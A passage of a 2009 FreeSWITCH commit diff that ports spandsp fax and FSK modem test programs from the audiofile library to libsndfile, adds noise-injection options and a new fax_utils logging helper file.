+    span_log_set_level(logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_FLOW);
 
-    span_log_init(&v27ter.logging, SPAN_LOG_FLOW, NULL);
-    span_log_set_protocol(&v27ter.logging, "V.27ter");
-    span_log_set_level(&v27ter.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_FLOW);
+    logging = v27ter_rx_get_logging_state(v27ter);
+    span_log_init(logging, SPAN_LOG_FLOW, NULL);
+    span_log_set_protocol(logging, "V.27ter");
+    span_log_set_level(logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_FLOW);
+#endif
 
     if (t4_rx_init(&t4_state, "fax_decode.tif", T4_COMPRESSION_ITU_T4_2D) == NULL)
     {
@@ -579,19 +514,19 @@
         
     for (;;)
     {
-        len = afReadFrames(inhandle, AF_DEFAULT_TRACK, amp, SAMPLES_PER_CHUNK);
+        len = sf_readf_short(inhandle, amp, SAMPLES_PER_CHUNK);
         if (len < SAMPLES_PER_CHUNK)
             break;
-        fsk_rx(&fsk, amp, len);
-        v17_rx(&v17, amp, len);
-        v29_rx(&v29, amp, len);
-        v27ter_rx(&v27ter, amp, len);
+        fsk_rx(fsk, amp, len);
+        v17_rx(v17, amp, len);
+        v29_rx(v29, amp, len);
+        //v27ter_rx(v27ter, amp, len);
     }
-    t4_rx_end(&t4_state);
+    t4_rx_release(&t4_state);
 
-    if (afCloseFile(inhandle) != 0)
+    if (sf_close(inhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", filename);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", filename);
         exit(2);
     }
     return  0;

Modified: freeswitch/branches/seven/libs/spandsp/tests/fax_tester.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/fax_tester.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/fax_tester.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: fax_tester.c,v 1.17 2008/09/12 14:41:55 steveu Exp $
+ * $Id: fax_tester.c,v 1.22 2009/02/12 12:38:39 steveu Exp $
  */
 
 /*! \file */
@@ -35,13 +35,13 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <assert.h>
 #include <fcntl.h>
 #include <time.h>
@@ -57,7 +57,12 @@
 #include <libxml/xinclude.h>
 #endif
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
+
 #include "fax_tester.h"
 
 #define HDLC_FRAMING_OK_THRESHOLD       5
@@ -141,7 +146,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static int modem_tx_status(void *user_data, int status)
+static void modem_tx_status(void *user_data, int status)
 {
     faxtester_state_t *s;
 
@@ -153,7 +158,6 @@
         front_end_step_complete(s);
         break;
     }
-    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 

Modified: freeswitch/branches/seven/libs/spandsp/tests/fax_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/fax_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/fax_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: fax_tests.c,v 1.96 2008/09/09 14:05:55 steveu Exp $
+ * $Id: fax_tests.c,v 1.102 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*! \page fax_tests_page FAX tests
@@ -39,11 +39,17 @@
 #include <unistd.h>
 #include <string.h>
 #include <assert.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
+#include "fax_utils.h"
+
 #define SAMPLES_PER_CHUNK       160
 
 #define INPUT_TIFF_FILE_NAME    "../test-data/itu/fax/itutests.tif"
@@ -57,7 +63,8 @@
     int chan;
     int16_t amp[SAMPLES_PER_CHUNK];
     int len;
-    fax_state_t fax;
+    fax_state_t *fax;
+    awgn_state_t *awgn;
     int done;
     int succeeded;
     char tag[50];
@@ -72,22 +79,12 @@
 static int phase_b_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    const char *u;
-    
-    i = (intptr_t) user_data;
-    if ((u = t30_get_rx_ident(s)))
-        printf("%d: Phase B: remote ident '%s'\n", i, u);
-    if ((u = t30_get_rx_sub_address(s)))
-        printf("%d: Phase B: remote sub-address '%s'\n", i, u);
-    if ((u = t30_get_rx_polled_sub_address(s)))
-        printf("%d: Phase B: remote polled sub-address '%s'\n", i, u);
-    if ((u = t30_get_rx_selective_polling_address(s)))
-        printf("%d: Phase B: remote selective polling address '%s'\n", i, u);
-    if ((u = t30_get_rx_sender_ident(s)))
-        printf("%d: Phase B: remote sender ident '%s'\n", i, u);
-    if ((u = t30_get_rx_password(s)))
-        printf("%d: Phase B: remote password '%s'\n", i, u);
-    printf("%d: Phase B handler on channel %d - (0x%X) %s\n", i, i, result, t30_frametype(result));
+    char tag[20];
+
+    i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase B:", i);
+    printf("%c: Phase B handler on channel %c - (0x%X) %s\n", i, i, result, t30_frametype(result));
+    log_rx_parameters(s, tag);
     return T30_ERR_OK;
 }
 /*- End of function --------------------------------------------------------*/
@@ -95,29 +92,15 @@
 static int phase_d_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    t30_stats_t t;
-    const char *u;
+    char tag[20];
 
-    i = (intptr_t) user_data;
-    t30_get_transfer_statistics(s, &t);
+    i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase D:", i);
+    printf("%c: Phase D handler on channel %c - (0x%X) %s\n", i, i, result, t30_frametype(result));
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
 
-    printf("%d: Phase D handler on channel %d - (0x%X) %s\n", i, i, result, t30_frametype(result));
-    printf("%d: Phase D: bit rate %d\n", i, t.bit_rate);
-    printf("%d: Phase D: ECM %s\n", i, (t.error_correcting_mode)  ?  "on"  :  "off");
-    printf("%d: Phase D: pages transferred %d\n", i, t.pages_transferred);
-    printf("%d: Phase D: pages in the file %d\n", i, t.pages_in_file);
-    printf("%d: Phase D: image size %d x %d\n", i, t.width, t.length);
-    printf("%d: Phase D: image resolution %d x %d\n", i, t.x_resolution, t.y_resolution);
-    printf("%d: Phase D: bad rows %d\n", i, t.bad_rows);
-    printf("%d: Phase D: longest bad row run %d\n", i, t.longest_bad_row_run);
-    printf("%d: Phase D: compression type %d\n", i, t.encoding);
-    printf("%d: Phase D: image size %d bytes\n", i, t.image_size);
-    if ((u = t30_get_tx_ident(s)))
-        printf("%d: Phase D: local ident '%s'\n", i, u);
-    if ((u = t30_get_rx_ident(s)))
-        printf("%d: Phase D: remote ident '%s'\n", i, u);
-    printf("%d: Phase D: bits per row - min %d, max %d\n", i, s->t4.min_row_bits, s->t4.max_row_bits);
-
     if (use_receiver_not_ready)
         t30_set_receiver_not_ready(s, 3);
 
@@ -152,33 +135,17 @@
 {
     int i;
     t30_stats_t t;
-    const char *u;
-    
+    char tag[20];
+
     i = (intptr_t) user_data;
-    printf("%d: Phase E handler on channel %d - (%d) %s\n", i, i, result, t30_completion_code_to_str(result));    
+    snprintf(tag, sizeof(tag), "%c: Phase E:", i);
+    printf("%c: Phase E handler on channel %c - (%d) %s\n", i, i, result, t30_completion_code_to_str(result));    
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
     t30_get_transfer_statistics(s, &t);
-    printf("%d: Phase E: bit rate %d\n", i, t.bit_rate);
-    printf("%d: Phase E: ECM %s\n", i, (t.error_correcting_mode)  ?  "on"  :  "off");
-    printf("%d: Phase E: pages transferred %d\n", i, t.pages_transferred);
-    printf("%d: Phase E: pages in the file %d\n", i, t.pages_in_file);
-    printf("%d: Phase E: image size %d x %d\n", i, t.width, t.length);
-    printf("%d: Phase E: image resolution %d x %d\n", i, t.x_resolution, t.y_resolution);
-    printf("%d: Phase E: bad rows %d\n", i, t.bad_rows);
-    printf("%d: Phase E: longest bad row run %d\n", i, t.longest_bad_row_run);
-    printf("%d: Phase E: coding method %s\n", i, t4_encoding_to_str(t.encoding));
-    printf("%d: Phase E: image size %d bytes\n", i, t.image_size);
-    if ((u = t30_get_tx_ident(s)))
-        printf("%d: Phase E: local ident '%s'\n", i, u);
-    if ((u = t30_get_rx_ident(s)))
-        printf("%d: Phase E: remote ident '%s'\n", i, u);
-    if ((u = t30_get_rx_country(s)))
-        printf("%d: Phase E: Remote was made in '%s'\n", i, u);
-    if ((u = t30_get_rx_vendor(s)))
-        printf("%d: Phase E: Remote was made by '%s'\n", i, u);
-    if ((u = t30_get_rx_model(s)))
-        printf("%d: Phase E: Remote is model '%s'\n", i, u);
-    machines[i].succeeded = (result == T30_ERR_OK)  &&  (t.pages_transferred == 12);
-    machines[i].done = TRUE;
+    machines[i - 'A'].succeeded = (result == T30_ERR_OK)  &&  (t.pages_tx == 12  ||  t.pages_rx == 12);
+    machines[i - 'A'].done = TRUE;
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -191,7 +158,7 @@
     int i;
     
     i = (intptr_t) user_data;
-    printf("%d: Real time frame handler on channel %d - %s, %s, length = %d\n",
+    printf("%c: Real time frame handler on channel %c - %s, %s, length = %d\n",
            i,
            i,
            (direction)  ?  "line->T.30"  : "T.30->line",
@@ -205,15 +172,15 @@
     int i;
     
     i = (intptr_t) user_data;
-    printf("%d: Document handler on channel %d - event %d\n", i, i, event);
+    printf("%c: Document handler on channel %c - event %d\n", i, i, event);
     return FALSE;
 }
 /*- End of function --------------------------------------------------------*/
 
 int main(int argc, char *argv[])
 {
-    AFfilehandle wave_handle;
-    AFfilehandle input_wave_handle;
+    SNDFILE *wave_handle;
+    SNDFILE *input_wave_handle;
     int i;
     int j;
     int k;
@@ -234,11 +201,15 @@
     int reverse_flow;
     int use_page_limits;
     int supported_modems;
+    int signal_level;
+    int noise_level;
+    float signal_scaling;
     time_t start_time;
     time_t end_time;
     char *page_header_info;
     int opt;
     t30_state_t *t30;
+    logging_state_t *logging;
 
     log_audio = FALSE;
     input_tiff_file_name = INPUT_TIFF_FILE_NAME;
@@ -252,8 +223,10 @@
     use_transmit_on_idle = TRUE;
     use_receiver_not_ready = FALSE;
     use_page_limits = FALSE;
+    signal_level = 0;
+    noise_level = -99;
     supported_modems = T30_SUPPORT_V27TER | T30_SUPPORT_V29 | T30_SUPPORT_V17;
-    while ((opt = getopt(argc, argv, "ehH:i:I:lm:prRtTw:")) != -1)
+    while ((opt = getopt(argc, argv, "ehH:i:I:lm:n:prRs:tTw:")) != -1)
     {
         switch (opt)
         {
@@ -278,6 +251,9 @@
         case 'm':
             supported_modems = atoi(optarg);
             break;
+        case 'n':
+            noise_level = atoi(optarg);
+            break;
         case 'p':
             polled_mode = TRUE;
             break;
@@ -287,6 +263,9 @@
         case 'R':
             use_receiver_not_ready = TRUE;
             break;
+        case 's':
+            signal_level = atoi(optarg);
+            break;
         case 't':
             use_tep = TRUE;
             break;
@@ -303,22 +282,22 @@
         }
     }
 
-    input_wave_handle = AF_NULL_FILEHANDLE;
+    input_wave_handle = NULL;
     if (input_audio_file_name)
     {
-        if ((input_wave_handle = afOpenFile_telephony_read(input_audio_file_name, 1)) == AF_NULL_FILEHANDLE)
+        if ((input_wave_handle = sf_open_telephony_read(input_audio_file_name, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot open wave file '%s'\n", input_audio_file_name);
+            fprintf(stderr, "    Cannot open audio file '%s'\n", input_audio_file_name);
             exit(2);
         }
     }
 
-    wave_handle = AF_NULL_FILEHANDLE;
+    wave_handle = NULL;
     if (log_audio)
     {
-        if ((wave_handle = afOpenFile_telephony_write(OUTPUT_FILE_NAME_WAVE, 2)) == AF_NULL_FILEHANDLE)
+        if ((wave_handle = sf_open_telephony_write(OUTPUT_FILE_NAME_WAVE, 2)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUTPUT_FILE_NAME_WAVE);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUTPUT_FILE_NAME_WAVE);
             exit(2);
         }
     }
@@ -332,12 +311,20 @@
         i = mc->chan + 1;
         sprintf(buf, "%d%d%d%d%d%d%d%d", i, i, i, i, i, i, i, i);
         if (reverse_flow)
-            fax_init(&mc->fax, (mc->chan & 1)  ?  TRUE  :  FALSE);
+            mc->fax = fax_init(NULL, (mc->chan & 1)  ?  TRUE  :  FALSE);
         else
-            fax_init(&mc->fax, (mc->chan & 1)  ?  FALSE  :  TRUE);
-        fax_set_transmit_on_idle(&mc->fax, use_transmit_on_idle);
-        fax_set_tep_mode(&mc->fax, use_tep);
-        t30 = fax_get_t30_state(&mc->fax);
+            mc->fax = fax_init(NULL, (mc->chan & 1)  ?  FALSE  :  TRUE);
+        mc->awgn = NULL;
+        signal_scaling = 1.0f;
+        if (noise_level > -99)
+        {
+            mc->awgn = awgn_init_dbm0(NULL, 1234567, noise_level);
+            signal_scaling = powf(10.0f, signal_level/20.0f);
+            printf("Signal scaling %f\n", signal_scaling);
+        }
+        fax_set_transmit_on_idle(mc->fax, use_transmit_on_idle);
+        fax_set_tep_mode(mc->fax, use_tep);
+        t30 = fax_get_t30_state(mc->fax);
         t30_set_tx_ident(t30, buf);
         t30_set_tx_sub_address(t30, "Sub-address");
         t30_set_tx_sender_ident(t30, "Sender ID");
@@ -390,6 +377,7 @@
             {
                 sprintf(buf, "fax_tests_%d.tif", (mc->chan + 1)/2);
                 t30_set_rx_file(t30, buf, -1);
+                t30_set_rx_encoding(t30, T4_COMPRESSION_ITU_T6);
             }
         }
         else
@@ -398,6 +386,7 @@
             {
                 sprintf(buf, "fax_tests_%d.tif", (mc->chan + 1)/2);
                 t30_set_rx_file(t30, buf, -1);
+                t30_set_rx_encoding(t30, T4_COMPRESSION_ITU_T6);
             }
             else
             {
@@ -407,18 +396,23 @@
                     t30_set_tx_file(t30, input_tiff_file_name, -1, -1);
             }
         }
-        t30_set_phase_b_handler(t30, phase_b_handler, (void *) (intptr_t) mc->chan);
-        t30_set_phase_d_handler(t30, phase_d_handler, (void *) (intptr_t) mc->chan);
-        t30_set_phase_e_handler(t30, phase_e_handler, (void *) (intptr_t) mc->chan);
-        t30_set_real_time_frame_handler(t30, real_time_frame_handler, (void *) (intptr_t) mc->chan);
-        t30_set_document_handler(t30, document_handler, (void *) (intptr_t) mc->chan);
+        t30_set_phase_b_handler(t30, phase_b_handler, (void *) (intptr_t) mc->chan + 'A');
+        t30_set_phase_d_handler(t30, phase_d_handler, (void *) (intptr_t) mc->chan + 'A');
+        t30_set_phase_e_handler(t30, phase_e_handler, (void *) (intptr_t) mc->chan + 'A');
+        t30_set_real_time_frame_handler(t30, real_time_frame_handler, (void *) (intptr_t) mc->chan + 'A');
+        t30_set_document_handler(t30, document_handler, (void *) (intptr_t) mc->chan + 'A');
         sprintf(mc->tag, "FAX-%d", j + 1);
-        span_log_set_level(&t30->logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
-        span_log_set_tag(&t30->logging, mc->tag);
-        span_log_set_level(&mc->fax.modems.v29_rx.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
-        span_log_set_tag(&mc->fax.modems.v29_rx.logging, mc->tag);
-        span_log_set_level(&mc->fax.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
-        span_log_set_tag(&mc->fax.logging, mc->tag);
+
+        logging = t30_get_logging_state(t30);
+        span_log_set_level(logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
+        span_log_set_tag(logging, mc->tag);
+        span_log_set_level(&t30->t4.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
+        span_log_set_tag(&t30->t4.logging, mc->tag);
+
+        logging = fax_get_logging_state(mc->fax);
+        span_log_set_level(logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
+        span_log_set_tag(logging, mc->tag);
+
         memset(mc->amp, 0, sizeof(mc->amp));
         mc->total_audio_time = 0;
         mc->done = FALSE;
@@ -433,13 +427,18 @@
 
             if ((j & 1) == 0  &&  input_audio_file_name)
             {
-                mc->len = afReadFrames(input_wave_handle, AF_DEFAULT_TRACK, mc->amp, SAMPLES_PER_CHUNK);
+                mc->len = sf_readf_short(input_wave_handle, mc->amp, SAMPLES_PER_CHUNK);
                 if (mc->len == 0)
                     break;
             }
             else
             {
-                mc->len = fax_tx(&mc->fax, mc->amp, SAMPLES_PER_CHUNK);
+                mc->len = fax_tx(mc->fax, mc->amp, SAMPLES_PER_CHUNK);
+                if (mc->awgn)
+                {
+                    for (k = 0;  k < mc->len;  k++)
+                        mc->amp[k] = ((int16_t) (mc->amp[k]*signal_scaling)) + awgn(mc->awgn);
+                }
             }
             mc->total_audio_time += SAMPLES_PER_CHUNK;
             if (!use_transmit_on_idle)
@@ -453,9 +452,11 @@
                     mc->len = SAMPLES_PER_CHUNK;
                 }
             }
-            span_log_bump_samples(&mc->fax.t30.logging, mc->len);
-            span_log_bump_samples(&mc->fax.modems.v29_rx.logging, mc->len);
-            span_log_bump_samples(&mc->fax.logging, mc->len);
+            t30 = fax_get_t30_state(mc->fax);
+            logging = t30_get_logging_state(t30);
+            span_log_bump_samples(logging, mc->len);
+            logging = fax_get_logging_state(mc->fax);
+            span_log_bump_samples(logging, mc->len);
 
             if (log_audio)
             {
@@ -464,10 +465,12 @@
             }
             if (machines[j ^ 1].len < SAMPLES_PER_CHUNK)
                 memset(machines[j ^ 1].amp + machines[j ^ 1].len, 0, sizeof(int16_t)*(SAMPLES_PER_CHUNK - machines[j ^ 1].len));
+            t30 = fax_get_t30_state(mc->fax);
+#if defined(WITH_SPANDSP_INTERNALS)
             if (use_line_hits)
             {
                 /* TODO: This applies very crude line hits. improve it */
-                if (mc->fax.t30.state == 22)
+                if (t30->state == 22)
                 {
                     if (++mc->error_delay == 100)
                     {
@@ -478,9 +481,10 @@
                     }
                 }    
             }
-            if (mc->fax.t30.state == t30_state_to_wreck)
+            if (t30->state == t30_state_to_wreck)
                 memset(machines[j ^ 1].amp, 0, sizeof(int16_t)*SAMPLES_PER_CHUNK);
-            if (fax_rx(&mc->fax, machines[j ^ 1].amp, SAMPLES_PER_CHUNK))
+#endif
+            if (fax_rx(mc->fax, machines[j ^ 1].amp, SAMPLES_PER_CHUNK))
                 break;
             if (!mc->done)
                 alldone = FALSE;
@@ -488,7 +492,7 @@
 
         if (log_audio)
         {
-            outframes = afWriteFrames(wave_handle, AF_DEFAULT_TRACK, out_amp, SAMPLES_PER_CHUNK);
+            outframes = sf_writef_short(wave_handle, out_amp, SAMPLES_PER_CHUNK);
             if (outframes != SAMPLES_PER_CHUNK)
                 break;
         }
@@ -500,21 +504,21 @@
     for (j = 0;  j < FAX_MACHINES;  j++)
     {
         mc = &machines[j];
-        fax_release(&mc->fax);
+        fax_release(mc->fax);
     }
     if (log_audio)
     {
-        if (afCloseFile(wave_handle))
+        if (sf_close(wave_handle))
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME_WAVE);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME_WAVE);
             exit(2);
         }
     }
     if (input_audio_file_name)
     {
-        if (afCloseFile(input_wave_handle))
+        if (sf_close(input_wave_handle))
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", input_audio_file_name);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", input_audio_file_name);
             exit(2);
         }
     }

Copied: freeswitch/branches/seven/libs/spandsp/tests/fax_utils.c (from rev 14471, freeswitch/trunk/libs/spandsp/tests/fax_utils.c) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/fax_utils.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/fax_utils.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,109 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * fax_utils.c
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2009 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2, as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: fax_utils.c,v 1.3 2009/05/16 03:34:45 steveu Exp $
+ */
+
+#if defined(HAVE_CONFIG_H)
+#include "config.h"
+#endif
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <assert.h>
+
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
+#include "spandsp.h"
+#include "spandsp-sim.h"
+#include "fax_utils.h"
+
+void log_tx_parameters(t30_state_t *s, const char *tag)
+{
+    const char *u;
+    
+    if ((u = t30_get_tx_ident(s)))
+        printf("%s: Local ident '%s'\n", tag, u);
+    if ((u = t30_get_tx_sub_address(s)))
+        printf("%s: Local sub-address '%s'\n", tag, u);
+    if ((u = t30_get_tx_polled_sub_address(s)))
+        printf("%s: Local polled sub-address '%s'\n", tag, u);
+    if ((u = t30_get_tx_selective_polling_address(s)))
+        printf("%s: Local selective polling address '%s'\n", tag, u);
+    if ((u = t30_get_tx_sender_ident(s)))
+        printf("%s: Local sender ident '%s'\n", tag, u);
+    if ((u = t30_get_tx_password(s)))
+        printf("%s: Local password '%s'\n", tag, u);
+}
+/*- End of function --------------------------------------------------------*/
+
+void log_rx_parameters(t30_state_t *s, const char *tag)
+{
+    const char *u;
+
+    if ((u = t30_get_rx_ident(s)))
+        printf("%s: Remote ident '%s'\n", tag, u);
+    if ((u = t30_get_rx_sub_address(s)))
+        printf("%s: Remote sub-address '%s'\n", tag, u);
+    if ((u = t30_get_rx_polled_sub_address(s)))
+        printf("%s: Remote polled sub-address '%s'\n", tag, u);
+    if ((u = t30_get_rx_selective_polling_address(s)))
+        printf("%s: Remote selective polling address '%s'\n", tag, u);
+    if ((u = t30_get_rx_sender_ident(s)))
+        printf("%s: Remote sender ident '%s'\n", tag, u);
+    if ((u = t30_get_rx_password(s)))
+        printf("%s: Remote password '%s'\n", tag, u);
+    if ((u = t30_get_rx_country(s)))
+        printf("%s: Remote was made in '%s'\n", tag, u);
+    if ((u = t30_get_rx_vendor(s)))
+        printf("%s: Remote was made by '%s'\n", tag, u);
+    if ((u = t30_get_rx_model(s)))
+        printf("%s: Remote is model '%s'\n", tag, u);
+}
+/*- End of function --------------------------------------------------------*/
+
+void log_transfer_statistics(t30_state_t *s, const char *tag)
+{
+    t30_stats_t t;
+
+    t30_get_transfer_statistics(s, &t);
+    printf("%s: bit rate %d\n", tag, t.bit_rate);
+    printf("%s: ECM %s\n", tag, (t.error_correcting_mode)  ?  "on"  :  "off");
+    printf("%s: tx pages %d, rx pages %d\n", tag, t.pages_tx, t.pages_rx);
+    printf("%s: pages in the file %d\n", tag, t.pages_in_file);
+    printf("%s: image size %d x %d\n", tag, t.width, t.length);
+    printf("%s: image resolution %d x %d\n", tag, t.x_resolution, t.y_resolution);
+    printf("%s: bad rows %d, longest bad row run %d\n", tag, t.bad_rows, t.longest_bad_row_run);
+    printf("%s: bad ECM frames %d\n", tag, t.error_correcting_mode_retries);
+    printf("%s: compression type %d\n", tag, t.encoding);
+    printf("%s: image size %d bytes\n", tag, t.image_size);
+#if defined(WITH_SPANDSP_INTERNALS)
+    printf("%s: bits per row - min %d, max %d\n", tag, s->t4.min_row_bits, s->t4.max_row_bits);
+#endif
+}
+/*- End of function --------------------------------------------------------*/
+/*- End of file ------------------------------------------------------------*/

Copied: freeswitch/branches/seven/libs/spandsp/tests/fax_utils.h (from rev 14471, freeswitch/trunk/libs/spandsp/tests/fax_utils.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/fax_utils.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/fax_utils.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,49 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * fax_utils.h
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2009 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2, as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: fax_utils.h,v 1.1 2009/02/20 12:34:20 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_SPANDSP_FAX_UTILS_H_)
+#define _SPANDSP_FAX_UTILS_H_
+
+#if defined(__cplusplus)
+extern "C"
+{
+#endif
+
+void log_tx_parameters(t30_state_t *s, const char *tag);
+
+void log_rx_parameters(t30_state_t *s, const char *tag);
+
+void log_transfer_statistics(t30_state_t *s, const char *tag);
+
+#if defined(__cplusplus)
+}
+#endif
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/tests/fsk_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/fsk_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/fsk_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: fsk_tests.c,v 1.50 2008/09/07 12:45:17 steveu Exp $
+ * $Id: fsk_tests.c,v 1.58 2009/07/09 13:52:09 steveu Exp $
  */
 
 /*! \page fsk_tests_page FSK modem tests
@@ -35,7 +35,7 @@
    the basic performance of the receive modem. It is also the only test mode
    provided for evaluating the transmit modem.
 
- - An FSK receive modem is used to decode FSK audio, stored in a wave file.
+ - An FSK receive modem is used to decode FSK audio, stored in a file.
    This is good way to evaluate performance with audio recorded from other
    models of modem, and with real world problematic telephone lines.
 
@@ -51,8 +51,12 @@
 #include <unistd.h>
 #include <string.h>
 #include <assert.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -65,17 +69,15 @@
 int rx_bits = 0;
 int cutoff_test_carrier = FALSE;
 
-static int rx_status(void *user_data, int status)
+static void rx_status(void *user_data, int status)
 {
     printf("FSK rx status is %s (%d)\n", signal_status_to_str(status), status);
-    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-static int tx_status(void *user_data, int status)
+static void tx_status(void *user_data, int status)
 {
     printf("FSK tx status is %s (%d)\n", signal_status_to_str(status), status);
-    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -91,7 +93,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static int cutoff_test_rx_status(void *user_data, int status)
+static void cutoff_test_rx_status(void *user_data, int status)
 {
     printf("FSK rx status is %s (%d)\n", signal_status_to_str(status), status);
     switch (status)
@@ -103,7 +105,6 @@
         cutoff_test_carrier = FALSE;
         break;
     }
-    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -125,37 +126,37 @@
     switch (reason)
     {
